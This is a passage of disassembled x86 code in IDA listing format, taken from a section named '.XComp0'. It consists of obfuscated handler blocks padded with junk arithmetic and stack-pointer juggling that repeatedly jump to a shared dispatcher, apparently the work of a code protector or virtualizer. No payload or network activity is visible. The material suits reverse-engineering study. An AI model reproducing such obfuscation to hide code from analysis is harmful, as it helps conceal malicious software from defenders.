--------------------------------------------------------------------------- loc_5966FF: ; CODE XREF: .XComp0:00598F97j xor [esp], edx xor edx, [esp] pop esp and ebx, edi push dword ptr [esp] pop edi push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_584267 ; --------------------------------------------------------------------------- loc_596724: ; CODE XREF: .XComp0:0058509Aj mov ecx, [esp] add esp, 4 dec ecx push ecx not dword ptr [esp] pop ecx push ebx mov ebx, 82D1F714h sub ecx, ebx pop ebx mov eax, ecx pop ecx add edx, 20E312C4h add edx, eax sub edx, 20E312C4h jmp loc_588F56 ; --------------------------------------------------------------------------- loc_596752: ; CODE XREF: .XComp0:00583BD0j add eax, 398B417Fh push 33Dh mov [esp], edx mov edx, 654253CDh sub edx, 26A34290h push eax mov eax, 6E8D2040h sub edx, eax pop eax or edx, 6EC122F7h not edx push edi mov edi, 63531B5Dh shr edi, 7 shl edi, 4 not edi shr edi, 4 add edi, 4A4EBB59h sub edx, edi pop edi sub edx, 90708C14h sub eax, edx pop edx pop edi push ebp push 7B0CE806h mov ebp, [esp] add esp, 4 xor eax, ebp mov ebp, [esp] push 21DBh mov [esp], ebx sub esp, 4 jmp loc_588B25 ; --------------------------------------------------------------------------- loc_5967C3: ; CODE XREF: .XComp0:0058C4D9j push dword ptr [esp+4] pop ecx pop dword ptr [esp] jmp loc_58C9BE ; --------------------------------------------------------------------------- loc_5967D0: ; CODE XREF: .XComp0:00597743j push edx jmp loc_5944D7 ; --------------------------------------------------------------------------- loc_5967D6: ; CODE XREF: .XComp0:005924B6j add edi, 4 sub edi, 4 xchg edi, [esp] pop esp mov [esp], ecx push eax mov ah, 2Ah mov ch, ah pop eax shr ch, 2 jmp loc_5867A5 ; --------------------------------------------------------------------------- loc_5967F4: ; CODE XREF: .XComp0:00585479j mov edi, 642321CAh xor edi, ecx pop ecx add edx, edi pop edi sub esp, 4 mov [esp], ebx jmp loc_58B66A ; --------------------------------------------------------------------------- loc_59680D: ; CODE XREF: .XComp0:0058E222j pop esp jmp loc_5948A5 ; --------------------------------------------------------------------------- loc_596813: ; CODE XREF: .XComp0:0058BB3Aj push 6CB8h mov [esp], edi mov edi, 63116DEBh dec edi jmp loc_58EE38 ; --------------------------------------------------------------------------- loc_596826: ; CODE XREF: .XComp0:005920F7j add dword ptr [esp], 4 jmp loc_587D18 ; --------------------------------------------------------------------------- loc_596832: ; CODE XREF: .XComp0:0059665Dj sub edi, 450B3149h xor edi, 5B853737h mov ebp, edi pop edi xor ebp, 5ED7689Bh jmp loc_58A657 ; --------------------------------------------------------------------------- loc_59684C: ; CODE XREF: .XComp0:0058B06Dj push dword ptr [esp] pop eax push ebx mov ebx, esp add ebx, 4 add ebx, 4 jmp loc_597829 ; --------------------------------------------------------------------------- loc_596864: ; CODE XREF: .XComp0:005942DDj push dword ptr [esp+4] push dword ptr [esp] pop esi push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp pop dword ptr [esp] mov esp, [esp] shl byte ptr [esp], cl pushf jmp loc_583A60 ; --------------------------------------------------------------------------- loc_59688C: ; CODE XREF: .XComp0:005857DBj sub esi, 29330EB6h jmp loc_589194 ; --------------------------------------------------------------------------- loc_596897: ; CODE XREF: .XComp0:00598263j mov ebp, [esp] add esp, 4 pop ecx push ebp push esi push 17EB44E6h pop esi push ebx jmp loc_590BDD ; --------------------------------------------------------------------------- loc_5968AF: ; CODE XREF: .XComp0:0058E773j mov [esp], edi jmp loc_5840A9 ; --------------------------------------------------------------------------- loc_5968B7: ; CODE XREF: .XComp0:00584398j add eax, ebx mov ebx, [esp] add esp, 4 xchg eax, [esp] pop esp jmp loc_589E2E ; --------------------------------------------------------------------------- loc_5968C8: ; CODE XREF: .XComp0:0058B388j add dword ptr [esp], 4 pop esi add esi, 4 add esi, 4 xchg esi, [esp] jmp loc_59018B ; --------------------------------------------------------------------------- loc_5968E1: ; CODE XREF: .XComp0:00586437j mov ebp, 3CAE2089h mov ecx, 0A5D847C1h jmp loc_5966F7 ; --------------------------------------------------------------------------- loc_5968F0: ; CODE XREF: .XComp0:00595AE1j add edx, 4 push ebx mov ebx, 4 add edx, ebx pop ebx xor edx, [esp] xor [esp], edx xor edx, [esp] mov esp, [esp] push small word ptr [eax] jmp loc_583A60 ; --------------------------------------------------------------------------- loc_596913: ; CODE XREF: .XComp0:005892E3j add esp, 4 jmp loc_58B59F ; --------------------------------------------------------------------------- loc_59691B: ; CODE XREF: .XComp0:0058E64Cj add esp, 4 pop dword ptr [esp] mov esp, [esp] add [esp], ax pushf jmp loc_583A60 ; --------------------------------------------------------------------------- loc_59692E: ; CODE XREF: .XComp0:00592B2Cj push 24F2h jmp loc_58A4D9 ; --------------------------------------------------------------------------- loc_596938: ; CODE XREF: .XComp0:00584DFAj sub esp, 4 jmp loc_594133 ; --------------------------------------------------------------------------- loc_596940: ; CODE XREF: .XComp0:00584690j push ebp push eax jmp loc_592D88 ; --------------------------------------------------------------------------- loc_596947: ; CODE XREF: .XComp0:005965F0j mov [esp], ecx push esp push dword ptr [esp] pop ecx push ebx mov ebx, esp push esi jmp loc_58D188 ; --------------------------------------------------------------------------- loc_596958: ; CODE XREF: .XComp0:0058CE93j sub dword ptr [esp], 0FFFFFFFFh pop edx jmp loc_58ECEF ; --------------------------------------------------------------------------- mov cx, [esp] sub esp, 4 mov [esp], ebx push esp pop ebx push 13A8h jmp loc_58C08C ; --------------------------------------------------------------------------- loc_59697B: ; CODE XREF: .XComp0:0058C3CEj mov ah, dh not ah mov dh, ah pop ax push cx mov cl, 25h add dh, cl pop cx and dh, 0E6h shr dh, 6 xor dh, 93h sub bl, 8 sub bl, dh add bl, 8 mov edx, [esp] push ebp mov ebp, esp push ebx mov ebx, 4 add ebp, ebx mov ebx, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp jmp loc_58D626 ; --------------------------------------------------------------------------- loc_5969C2: ; CODE XREF: .XComp0:005958B1j mov [esp], ebx mov ebx, 233C2ED8h shl ebx, 5 shl ebx, 8 jmp loc_594DC8 ; --------------------------------------------------------------------------- loc_5969D5: ; CODE XREF: .XComp0:0058B3F7j jmp loc_583A60 ; --------------------------------------------------------------------------- loc_5969DA: ; CODE XREF: .XComp0:0058ECE3j sub ebp, ebx jmp loc_585C9F ; --------------------------------------------------------------------------- loc_5969E1: ; CODE XREF: .XComp0:00596D5Cj push eax push esp mov eax, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] jmp loc_597E2C ; --------------------------------------------------------------------------- loc_5969FD: ; CODE XREF: .XComp0:005964A2j mov ebx, [esp] sub esp, 4 mov [esp], eax mov eax, esp add eax, 4 jmp loc_592D2E ; --------------------------------------------------------------------------- loc_596A12: ; CODE XREF: .XComp0:00596BD1j pop esi dec edx jmp loc_58DD50 ; --------------------------------------------------------------------------- loc_596A19: ; CODE XREF: .XComp0:005982ACj add esi, 4 jmp loc_5926EB ; --------------------------------------------------------------------------- loc_596A24: ; CODE XREF: .XComp0:00594B10j add edx, ebp pop ebp and edx, 40CD2CD6h shl edx, 7 push 6BD3h mov [esp], ebx mov ebx, 0 jmp loc_58A3B6 ; --------------------------------------------------------------------------- loc_596A42: ; CODE XREF: .XComp0:00586345j xchg eax, [esp] pop esp jmp loc_58AE71 ; --------------------------------------------------------------------------- loc_596A4B: ; CODE XREF: .XComp0:00589773j add dword ptr [esp], 4 mov ebx, [esp] add esp, 4 jmp loc_58A151 ; --------------------------------------------------------------------------- loc_596A5D: ; CODE XREF: .XComp0:0058BD39j pop edi xchg ebp, edi not ebp xchg ebp, edi shr edi, 2 push ecx jmp loc_593E78 ; --------------------------------------------------------------------------- loc_596A6D: ; CODE XREF: .XComp0:0059228Dj add edi, 4 xchg edi, [esp] pop esp jmp loc_58E57A ; --------------------------------------------------------------------------- loc_596A7C: ; CODE XREF: .XComp0:0058B8F2j or ebp, 47BE6C7Ah sub ebp, 1B62FCAFh xor ebp, 34802D0Ch push ebx jmp loc_588C90 ; --------------------------------------------------------------------------- loc_596A94: ; CODE XREF: .XComp0:0058BE6Cj pop ecx sub al, 0ADh add al, dl push edx jmp loc_58DD56 ; --------------------------------------------------------------------------- loc_596A9F: ; CODE XREF: .XComp0:00583D0Dj sub edx, edi mov edi, [esp] add esp, 4 jmp loc_5855E5 ; --------------------------------------------------------------------------- loc_596AAC: ; CODE XREF: .XComp0:005960AAj pop dword ptr [esp] mov esp, [esp] jmp loc_583A60 ; --------------------------------------------------------------------------- loc_596AB7: ; CODE XREF: .XComp0:00589706j pop esi jmp loc_589975 ; --------------------------------------------------------------------------- loc_596ABD: ; CODE XREF: .XComp0:0058B3C0j pop ebp neg ebp add ebp, 68F35BEh mov ecx, ebp pop ebp mov eax, ecx pop ecx add [esp+4], eax pop eax pop ecx jmp loc_598B0C ; --------------------------------------------------------------------------- loc_596AD7: ; CODE XREF: .XComp0:00595992j mov [esp], eax push 28h pop eax jmp loc_586BF4 ; --------------------------------------------------------------------------- loc_596AE5: ; CODE XREF: .XComp0:005876BAj mov ebp, 38F86225h or edi, ebp pop ebp push 780h jmp loc_58B463 ; --------------------------------------------------------------------------- loc_596AF7: ; CODE XREF: .XComp0:0058A4E1j mov esi, [esp] add esp, 4 xor [esp+4], esi push dword ptr [esp] pop esi push 4481h jmp loc_58BA38 ; --------------------------------------------------------------------------- loc_596B12: ; CODE XREF: .XComp0:0058A918j push edx jmp loc_589AD4 ; --------------------------------------------------------------------------- loc_596B18: ; CODE XREF: .XComp0:0058C58Dj xor ecx, esi pop esi push ebp mov ebp, ecx mov esi, ebp mov ebp, [esp] add esp, 4 jmp loc_597D36 ; --------------------------------------------------------------------------- loc_596B2E: ; CODE XREF: .XComp0:005896B7j push ebx mov ebx, 1CBA4B8Dh push eax mov eax, 6224196h inc eax xor eax, 19A47D53h jmp loc_590D6B ; --------------------------------------------------------------------------- loc_596B45: ; CODE XREF: .XComp0:005904BBj push edi mov edi, 0F63FF533h mov ecx, edi pop edi mov ebp, ecx pop ecx jmp loc_58D935 ; --------------------------------------------------------------------------- loc_596B56: ; CODE XREF: .XComp0:0058B34Ej mov esp, [esp] push dword ptr [esp] push dword ptr [esp] pop ecx push ebp jmp loc_5933E6 ; --------------------------------------------------------------------------- loc_596B66: ; CODE XREF: .XComp0:0058A652j add esp, 4 add edi, 47AE79D7h add edi, ecx sub edi, 47AE79D7h add edi, 24DE1154h pop ecx xor eax, edi push dword ptr [esp] push dword ptr [esp] pop edi push edi mov edi, esp add edi, 4 jmp loc_5919B3 ; --------------------------------------------------------------------------- loc_596B95: ; CODE XREF: .XComp0:00591A5Bj mov edi, 41B979AEh sub edi, eax pop eax add ebp, edi mov edi, [esp] add esp, 4 jmp loc_589003 ; --------------------------------------------------------------------------- loc_596BAD: ; CODE XREF: .XComp0:0058E6B5j sub bh, dh sub bh, 25h pop edx jmp loc_595461 ; --------------------------------------------------------------------------- loc_596BB8: ; CODE XREF: .XComp0:0059338Fj sub esp, 4 jmp loc_587B52 ; --------------------------------------------------------------------------- loc_596BC3: ; CODE XREF: .XComp0:0058F48Cj add al, cl jmp loc_587285 ; --------------------------------------------------------------------------- loc_596BCA: ; CODE XREF: .XComp0:00586AF7j mov esi, 3957247Ch and edx, esi jmp loc_596A12 ; --------------------------------------------------------------------------- loc_596BD6: ; CODE XREF: .XComp0:005930CFj mov eax, 4 sub edi, eax pop eax xchg edi, [esp] jmp loc_5883B5 ; --------------------------------------------------------------------------- loc_596BE6: ; CODE XREF: .XComp0:0058DF9Dj push dword ptr [esp] pop eax jmp loc_587E1B ; --------------------------------------------------------------------------- loc_596BEF: ; CODE XREF: .XComp0:00591FCFj push 0E1Eh mov [esp], esi push 45B015A0h mov esi, [esp] add esp, 4 jmp loc_592FCF ; --------------------------------------------------------------------------- loc_596C07: ; CODE XREF: .XComp0:005896C2j add edx, 1F907900h add edx, eax sub edx, 1F907900h jmp loc_5950EC ; --------------------------------------------------------------------------- loc_596C1A: ; CODE XREF: .XComp0:0058545Cj mov esi, [esp] add esp, 4 push 0A79h mov [esp], ecx jmp loc_5910C0 ; --------------------------------------------------------------------------- loc_596C2D: ; CODE XREF: .XComp0:00594C46j sub esp, 4 mov [esp], eax mov eax, 0C5C1C4Bh shr eax, 1 add eax, 7086FD54h sub edi, eax pop eax sub edi, esi push edx mov edx, 0A337510h dec edx inc edx sub edx, 937E6997h add edi, edx pop edx mov esi, [esp] add esp, 4 sub esi, 24A33619h jmp loc_58D94B ; --------------------------------------------------------------------------- loc_596C69: ; CODE XREF: .XComp0:0058559Aj pop esi jmp loc_586C2B ; --------------------------------------------------------------------------- loc_596C6F: ; CODE XREF: .XComp0:0058F8C3j add ch, al sub ch, 0D5h pop eax jmp loc_58C4C1 ; --------------------------------------------------------------------------- loc_596C7A: ; CODE XREF: .XComp0:00594AAAj push edi mov edi, 9B4125Eh not edi sub edi, 457025A9h sub edi, 3468BF4Fh xor ebp, edi pop edi add ebp, 0E7D32354h mov edi, ebp pop ebp xor ecx, edi pop edi push eax push edi jmp loc_588476 ; --------------------------------------------------------------------------- loc_596CA4: ; CODE XREF: .XComp0:00587DB5j pop edx push dword ptr [esp] mov edx, [esp] jmp loc_5957FD ; --------------------------------------------------------------------------- loc_596CB0: ; CODE XREF: .XComp0:0058892Ej mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] jmp loc_58B704 ; --------------------------------------------------------------------------- loc_596CC3: ; CODE XREF: .XComp0:0058E47Cj sub eax, ecx pop ecx push ebp mov ebp, 7DBC6B7Dh or ebp, 623B1B04h push edi mov edi, 4500BC8h jmp loc_585983 ; --------------------------------------------------------------------------- loc_596CDD: ; CODE XREF: .XComp0:00591537j mov eax, esp sub esp, 4 mov [esp], ebx push edx mov edx, 4 push edx sub dword ptr [esp], 1FAA7F48h pop ebx add ebx, 1FAA7F48h jmp loc_58FBE4 ; --------------------------------------------------------------------------- loc_596D02: ; CODE XREF: .XComp0:0058A37Fj xchg edi, [esp] jmp loc_5915AE ; --------------------------------------------------------------------------- loc_596D0A: ; CODE XREF: .XComp0:00596373j add ecx, 4 add ecx, 4 xchg ecx, [esp] mov esp, [esp] jmp loc_588EDC ; --------------------------------------------------------------------------- loc_596D1E: ; CODE XREF: .XComp0:00592DC5j mov ebx, [esp] jmp loc_58D532 ; --------------------------------------------------------------------------- loc_596D26: ; CODE XREF: .XComp0:00597F3Dj pop edi sub ebx, 58BD2CB9h jmp loc_585A2B ; --------------------------------------------------------------------------- loc_596D32: ; CODE XREF: .XComp0:00589CB4j push edi jmp loc_58C061 ; --------------------------------------------------------------------------- loc_596D38: ; CODE XREF: .XComp0:0059393Aj add ebx, edi pop edi add ebx, edx push 2595h jmp loc_5928E5 ; --------------------------------------------------------------------------- loc_596D47: ; CODE XREF: .XComp0:00598E31j add ecx, 67E35A29h add ecx, 0EB34F1DBh jmp loc_593CF3 ; --------------------------------------------------------------------------- mov ax, [esp] jmp loc_5969E1 ; --------------------------------------------------------------------------- loc_596D61: ; CODE XREF: .XComp0:00584EA5j push small 0 jmp loc_58E4A5 ; --------------------------------------------------------------------------- loc_596D6A: ; CODE XREF: .XComp0:00590C85j xchg ebx, ecx push ebx mov ebx, 0F563BB75h xor ecx, ebx pop ebx jmp loc_5860FA ; --------------------------------------------------------------------------- loc_596D7A: ; CODE XREF: .XComp0:00597660j mov ebp, esp add ebp, 4 jmp loc_592CE7 ; --------------------------------------------------------------------------- loc_596D87: ; CODE XREF: .XComp0:005957D4j not edx push edx jmp loc_595B84 ; --------------------------------------------------------------------------- loc_596D8F: ; CODE XREF: .XComp0:00585C45j sub ebx, 1 push edx push esi mov esi, 73F731C1h mov edx, 8C08CE40h add edx, 5DAB3088h jmp loc_5918D7 ; --------------------------------------------------------------------------- loc_596DAC: ; CODE XREF: .XComp0:005923CCj push 6826h mov [esp], esi push 3FCh mov esi, [esp] add esp, 4 push 5397h mov [esp], ebp mov ebp, 0FC26655h add edi, 82673F6h add edi, ebp sub edi, 82673F6h pop ebp jmp loc_595913 ; --------------------------------------------------------------------------- loc_596DE3: ; CODE XREF: .XComp0:00586B89j sub esi, edx pop edx add esi, 5A520DE9h push ebp mov ebp, 106C5279h sub ebp, 8D109B7h xor esi, ebp pop ebp push 61Dh mov [esp], eax push edx mov edx, 461E668Ch jmp loc_585116 ; --------------------------------------------------------------------------- loc_596E0E: ; CODE XREF: .XComp0:00592D9Dj push edi mov edi, 7E4866CFh add edi, 1B867289h sub edi, 4F0E5AB4h xor ebp, edi pop edi neg ebp shl ebp, 8 xor ebp, 629631Eh sub ebp, 8979B2B3h push edx jmp loc_594D5C ; --------------------------------------------------------------------------- loc_596E3A: ; CODE XREF: .XComp0:00586D0Cj mov ebp, [esp] add esp, 4 dec edx push ebx mov ebx, 34349Dh sub edx, ebx jmp loc_586B8E ; --------------------------------------------------------------------------- mov ecx, [esp] jmp loc_596565 ; --------------------------------------------------------------------------- loc_596E56: ; CODE XREF: .XComp0:0058EAB6j xchg esi, [esp] jmp loc_5908EB ; --------------------------------------------------------------------------- loc_596E5E: ; CODE XREF: .XComp0:0059786Ej xor [esp], ecx xor ecx, [esp] mov esp, [esp] jmp loc_585BC6 ; --------------------------------------------------------------------------- loc_596E6C: ; CODE XREF: .XComp0:0058D9E6j add esp, 4 sub eax, 6B640356h not eax push ecx jmp loc_586FCE ; --------------------------------------------------------------------------- loc_596E7C: ; CODE XREF: .XComp0:005956EBj mov esi, 8D1A736Fh jmp loc_593F89 ; --------------------------------------------------------------------------- loc_596E86: ; CODE XREF: .XComp0:0058FDB1j mov [esp], ecx push esp pop ecx push ebx mov ebx, 5EF52BAAh dec ebx sub ebx, 66A23AD0h jmp loc_58BE99 ; --------------------------------------------------------------------------- push small word ptr [edx] jmp loc_583A60 ; --------------------------------------------------------------------------- loc_596EA5: ; CODE XREF: .XComp0:0058E78Dj add ebx, edi pop edi jmp loc_583FE0 ; --------------------------------------------------------------------------- loc_596EAD: ; CODE XREF: .XComp0:0059473Aj add ebp, eax sub ebp, 197A0DE9h pop eax jmp loc_598431 ; --------------------------------------------------------------------------- loc_596EBB: ; CODE XREF: .XComp0:00584007j neg edi sub edi, 7B312380h jmp loc_59116C ; --------------------------------------------------------------------------- loc_596EC8: ; CODE XREF: .XComp0:00584925j neg ebx shr ebx, 5 add ebx, 0FB61121Ah jmp loc_586BCA ; --------------------------------------------------------------------------- loc_596ED8: ; CODE XREF: .XComp0:0058DE92j or ebx, 34506809h dec ebx sub esp, 4 mov [esp], ecx mov ecx, 6EA14C31h xor ecx, 35ED4339h add ecx, 0FFFFFFFFh jmp loc_58FE77 ; --------------------------------------------------------------------------- loc_596EFE: ; CODE XREF: .XComp0:00591CC3j and ecx, eax jmp loc_58D385 ; --------------------------------------------------------------------------- loc_596F05: ; CODE XREF: .XComp0:00591418j sub ecx, 460A5D6Eh add ecx, 50AA65CDh add ecx, edi jmp loc_58DACC ; --------------------------------------------------------------------------- loc_596F18: ; CODE XREF: .XComp0:00588D89j add dx, 7FC5h mov di, [esp] jmp loc_58807F ; --------------------------------------------------------------------------- loc_596F26: ; CODE XREF: .XComp0:00584623j mov esp, [esp] push 7B42h mov [esp], ebx jmp loc_590340 ; --------------------------------------------------------------------------- loc_596F36: ; CODE XREF: .XComp0:0058537Aj mov [esp], ebx jmp loc_585305 ; --------------------------------------------------------------------------- loc_596F3E: ; CODE XREF: .XComp0:0058FAE2j pop esp jmp loc_58F570 ; --------------------------------------------------------------------------- loc_596F44: ; CODE XREF: .XComp0:0058CF59j sub esp, 4 mov [esp], ebx push esi mov esi, 316B6700h mov ebx, esi pop esi or edx, ebx jmp loc_58E826 ; --------------------------------------------------------------------------- loc_596F5D: ; CODE XREF: .XComp0:0059225Ej shr edx, 2 push 57AAh mov [esp], esi push 276h mov [esp], ecx mov ecx, 6CA74F27h jmp loc_591B15 ; --------------------------------------------------------------------------- loc_596F7A: ; CODE XREF: .XComp0:00593DE3j mov esp, [esp] mov [esp], cx movzx cx, al push cx pushf jmp loc_583A60 ; --------------------------------------------------------------------------- loc_596F8D: ; CODE XREF: .XComp0:00593B2Ej mov edx, edi pop edi push eax mov eax, 624D2184h not eax inc eax push edx jmp loc_594D44 ; --------------------------------------------------------------------------- loc_596F9F: ; CODE XREF: .XComp0:005915DAj push 3938h mov [esp], edx jmp loc_585314 ; --------------------------------------------------------------------------- loc_596FAC: ; CODE XREF: .XComp0:0058E741j pop ebp mov ecx, [esp] add esp, 4 push dword ptr [esp] mov eax, [esp] add esp, 4 add esp, 4 pop ebx push ebp pop esi pop ebp and eax, esi mov esi, [esp] sub esp, 4 mov [esp], esi push esp pop esi add esi, 4 add esi, 4 xchg esi, [esp] pop esp or edx, eax shl edx, 1 push 1F6Ch mov [esp], ecx jmp loc_58ED54 ; --------------------------------------------------------------------------- loc_596FF7: ; CODE XREF: .XComp0:005868DAj add bl, dh mov edx, [esp] jmp loc_5903A9 ; --------------------------------------------------------------------------- loc_597001: ; CODE XREF: .XComp0:00583B43j mov [esp], edi push esi push ecx jmp loc_594BA3 ; --------------------------------------------------------------------------- loc_59700B: ; CODE XREF: .XComp0:00590797j shr eax, 6 add eax, 0FD41F151h mov esi, eax pop eax add eax, esi pop esi jmp loc_5883D1 ; --------------------------------------------------------------------------- loc_59701E: ; CODE XREF: .XComp0:005867A7j sub esp, 4 mov [esp], edx jmp loc_593D65 ; --------------------------------------------------------------------------- loc_597029: ; CODE XREF: .XComp0:00589F18j mov bp, 6AABh inc bp not bp jmp loc_5910A1 ; --------------------------------------------------------------------------- loc_597037: ; CODE XREF: .XComp0:005979D9j add edx, ebx push dword ptr [esp] jmp loc_58F17E ; --------------------------------------------------------------------------- loc_597041: ; CODE XREF: .XComp0:00586D52j sub eax, ebp pop ebp push 61C4h jmp loc_58D22B ; --------------------------------------------------------------------------- loc_59704E: ; CODE XREF: .XComp0:00589E06j xor [esp], ebp xor ebp, [esp] pop esp mov [esp], ebx mov ebx, esp jmp loc_59721F ; --------------------------------------------------------------------------- loc_59705F: ; CODE XREF: .XComp0:005840DAj mov edx, 0E07655Ch add ecx, 673345A5h jmp loc_58BD85 ; --------------------------------------------------------------------------- loc_59706F: ; CODE XREF: .XComp0:005889E0j not ebx or ebx, 31E73659h sub ebx, 0BBEFFF57h jmp loc_58B67A ; --------------------------------------------------------------------------- loc_597082: ; CODE XREF: .XComp0:00597937j push edx mov edx, 4 add edi, edx jmp loc_5961BE ; --------------------------------------------------------------------------- loc_59708F: ; CODE XREF: .XComp0:00592A69j push 208Bh mov [esp], ebp pop eax mov ebp, [esp] jmp loc_598276 ; --------------------------------------------------------------------------- loc_5970A0: ; CODE XREF: .XComp0:0058CBF5j sub eax, ebx pop ebx add eax, 7FFB6E56h or edx, eax jmp loc_58B2B2 ; --------------------------------------------------------------------------- loc_5970AF: ; CODE XREF: .XComp0:0058CB91j xor eax, 47BA911Bh jmp loc_59009A ; --------------------------------------------------------------------------- loc_5970B9: ; CODE XREF: .XComp0:005944D2j mov [esp], edi push esp jmp loc_59399C ; --------------------------------------------------------------------------- loc_5970C2: ; CODE XREF: .XComp0:00587D13j sub dword ptr [esp], 48E86FBDh pop ecx add ecx, 48E86FBDh pop ebx jmp loc_5844A6 ; --------------------------------------------------------------------------- loc_5970D6: ; CODE XREF: .XComp0:005897E5j xchg ebp, [esp] mov esp, [esp] push esi push 6B1Ah push esp pop dword ptr [esp] add dword ptr [esp], 4 pop esi add esi, 4 push edi push edx mov edx, 7E2640CEh mov edi, 503F6CDBh xor edi, edx pop edx sub edi, 0FFFFFFFFh and edi, 42E61654h sub edi, 2000410h sub esi, 3F02148Fh sub esi, edi add esi, 3F02148Fh pop edi xchg esi, [esp] jmp loc_585F89 ; --------------------------------------------------------------------------- loc_597126: ; CODE XREF: .XComp0:0058DBD7j popa popf retn ; --------------------------------------------------------------------------- jmp loc_583A60 ; --------------------------------------------------------------------------- loc_59712E: ; CODE XREF: .XComp0:00593152j pop ebx mov edi, ecx pop ecx push 347Bh mov [esp], ebp mov ebp, 36C214AFh jmp loc_58C121 ; --------------------------------------------------------------------------- loc_597144: ; CODE XREF: .XComp0:005890C1j pop ebx jmp loc_58DCD6 ; --------------------------------------------------------------------------- loc_59714A: ; CODE XREF: .XComp0:005894ADj mov edx, 63014B47h push edx add dword ptr [esp], 5B0A2AFCh pop esi sub esi, 5B0A2AFCh mov edx, [esp] add esp, 4 sub ebp, esi pop esi mov ecx, [esp] add esp, 4 jmp loc_58A0E6 ; --------------------------------------------------------------------------- loc_597178: ; CODE XREF: .XComp0:005903ECj mov edx, 4EBC610Dh sub ecx, edx pop edx sub ecx, 5402216h sub ecx, esi add ecx, 5402216h add ecx, 4EBC610Dh jmp loc_587091 ; --------------------------------------------------------------------------- loc_597199: ; CODE XREF: .XComp0:00585B02j sub esi, ebx pop ebx push esi jmp loc_58DD86 ; --------------------------------------------------------------------------- loc_5971A2: ; CODE XREF: .XComp0:005973FDj mov [esp], edx push esp pop edx jmp loc_5973C5 ; --------------------------------------------------------------------------- loc_5971AC: ; CODE XREF: .XComp0:00583FF0j add edx, edi pop edi push ecx mov ecx, 4 add edx, 20C57355h sub edx, ecx sub edx, 20C57355h pop ecx xchg edx, [esp] pop esp mov [esp], edi sub esp, 4 mov [esp], ebp jmp loc_58734E ; --------------------------------------------------------------------------- loc_5971D6: ; CODE XREF: .XComp0:00586C2Fj mov [esp], esp add dword ptr [esp], 4 jmp loc_5883FC ; --------------------------------------------------------------------------- loc_5971E5: ; CODE XREF: .XComp0:00584BC2j add ebx, ecx pop ecx add ebx, 211E6A67h jmp loc_598E9D ; --------------------------------------------------------------------------- loc_5971F3: ; CODE XREF: .XComp0:00594EE3j jmp loc_589236 ; --------------------------------------------------------------------------- loc_5971F8: ; CODE XREF: .XComp0:00592F15j shr ebp, 2 push esi jmp loc_585E66 ; --------------------------------------------------------------------------- loc_597201: ; CODE XREF: .XComp0:0058B4A1j add esp, 4 push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp jmp loc_595CB3 ; --------------------------------------------------------------------------- loc_59721F: ; CODE XREF: .XComp0:0059705Aj push 4A71h mov [esp], ebp push ebx mov ebx, 168662BFh mov ebp, 1BF9C104h sub ebp, ebx pop ebx xor ebp, 5735E41h jmp loc_594606 ; --------------------------------------------------------------------------- loc_597240: ; CODE XREF: .XComp0:00593145j sub ecx, 230D55E6h push eax jmp loc_58EBAA ; --------------------------------------------------------------------------- loc_59724C: ; CODE XREF: .XComp0:00592814j jmp dword ptr [edi+eax*4] ; --------------------------------------------------------------------------- popa retn ; --------------------------------------------------------------------------- jmp loc_594E94 ; --------------------------------------------------------------------------- loc_597256: ; CODE XREF: .XComp0:00597F27j add ebp, 4 jmp loc_588198 ; --------------------------------------------------------------------------- loc_59725E: ; CODE XREF: .XComp0:005989E0j add dword ptr [esp], 4 jmp loc_5988DE ; --------------------------------------------------------------------------- loc_59726A: ; CODE XREF: .XComp0:00593CB0j add esi, 4 push eax mov eax, 4 add esi, eax pop eax jmp loc_584FC0 ; --------------------------------------------------------------------------- loc_59727E: ; CODE XREF: .XComp0:005965C1j mov bx, [esp] add esp, 2 sub al, 34h sub al, cl jmp loc_597CC6 ; --------------------------------------------------------------------------- loc_597291: ; CODE XREF: .XComp0:00591159j xor ch, 43h push ebx mov bl, 87h sub ch, bl jmp loc_586539 ; --------------------------------------------------------------------------- loc_59729E: ; CODE XREF: .XComp0:0059367Dj add esi, eax mov eax, [esp] push eax mov eax, esp add eax, 4 add eax, 4 jmp loc_5942D3 ; --------------------------------------------------------------------------- loc_5972B3: ; CODE XREF: .XComp0:00588297j sub dl, ah sub dl, 4Ch pop eax add al, dl push dword ptr [esp] mov edx, [esp] add esp, 4 add esp, 4 push 78F2h mov [esp], edx mov dh, 7Eh shl dh, 1 push ecx mov cl, 0BEh xor dh, cl mov ecx, [esp] add esp, 4 xor dh, 9Dh xor dh, 2Dh xor dh, 0CCh jmp loc_589107 ; --------------------------------------------------------------------------- loc_5972F2: ; CODE XREF: .XComp0:0058C167j shl esi, 3 or esi, 3E663BB4h or esi, 2A164CFBh add esi, 92569073h jmp loc_58ECE8 ; --------------------------------------------------------------------------- loc_59730C: ; CODE XREF: .XComp0:00595C6Cj mov ebx, 4 jmp loc_58F149 ; --------------------------------------------------------------------------- loc_597316: ; CODE XREF: .XComp0:005983ADj add eax, edi sub eax, 3865188Ah push dword ptr [esp] pop edi add esp, 4 jmp loc_59426F ; --------------------------------------------------------------------------- loc_59732C: ; CODE XREF: .XComp0:00586754j add ebp, edi add ebp, 60090E7Eh jmp loc_58C1B7 ; --------------------------------------------------------------------------- loc_597339: ; CODE XREF: .XComp0:00597DF9j pop edi push esi mov esi, 1C195E3Eh push ebp mov ebp, 421D2B82h sub esi, ebp pop ebp neg esi inc esi push ebx mov ebx, 4D0A43CFh inc ebx xor ebx, 57B44BFDh or ebx, 7FF33B0Dh not ebx jmp loc_5885BF ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop ax adc [esp], al pushf jmp loc_583A60 ; --------------------------------------------------------------------------- loc_597375: ; CODE XREF: .XComp0:0058493Dj mov ecx, [esp] push 7891h mov [esp], ecx mov ecx, esp add ecx, 4 push edx mov edx, 4 add ecx, 3A43B4Eh add ecx, edx sub ecx, 3A43B4Eh pop edx jmp loc_597891 ; --------------------------------------------------------------------------- loc_5973A2: ; CODE XREF: .XComp0:005951C6j mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp sub [edi+24h], eax mov eax, [esp] add esp, 4 jmp loc_58452E ; --------------------------------------------------------------------------- loc_5973C5: ; CODE XREF: .XComp0:005971A7j push edi mov edi, 4 add edx, edi 